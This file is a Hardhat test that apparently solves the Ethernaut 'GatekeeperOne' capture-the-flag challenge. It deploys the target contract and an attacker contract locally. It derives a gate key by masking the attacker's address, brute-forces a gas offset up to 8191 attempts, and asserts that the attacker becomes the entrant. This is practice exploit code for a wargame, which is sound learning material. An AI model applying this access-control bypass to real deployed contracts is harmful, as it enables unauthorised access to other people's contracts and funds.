13-GatekeeperOne.spec.ts

import { expect } from "chai";
import { BigNumber } from "ethers";
import { ethers } from "hardhat";

const CONTRACT_NAME = "GatekeeperOne";
const ATTACKER_NAME = "GatekeeperOneAttacker";

describe(CONTRACT_NAME, () => {
  it("Solves the challenge", async () => {
    const [attacker] = await ethers.getSigners();

    const contractFactory = await ethers.getContractFactory(CONTRACT_NAME);
    const contract = await contractFactory.deploy();
    await contract.deployed();

    const contractAttackerFactory = await ethers.getContractFactory(ATTACKER_NAME);
    const contractAttacker = await contractAttackerFactory.deploy(contract.address);
    await contractAttacker.deployed();

    for (let i = 0; i < 8191; i++) {
      console.log(`Trying ${i}...`);
      try {
        const mask = "0xffffffff0000ffff";
        const shortAddress = "0x" + attacker.address.slice(attacker.address.length - 16, attacker.address.length);
        const gateKey = BigNumber.from(shortAddress).and(mask);

        const tx = await contractAttacker.enter(i, BigNumber.from(gateKey)); // 196
        await tx.wait();
        console.log(`Found value: ${i}`);
        break;
      } catch (err) {}
    }

    expect(await contract.entrant()).to.eq(attacker.address);
  });
});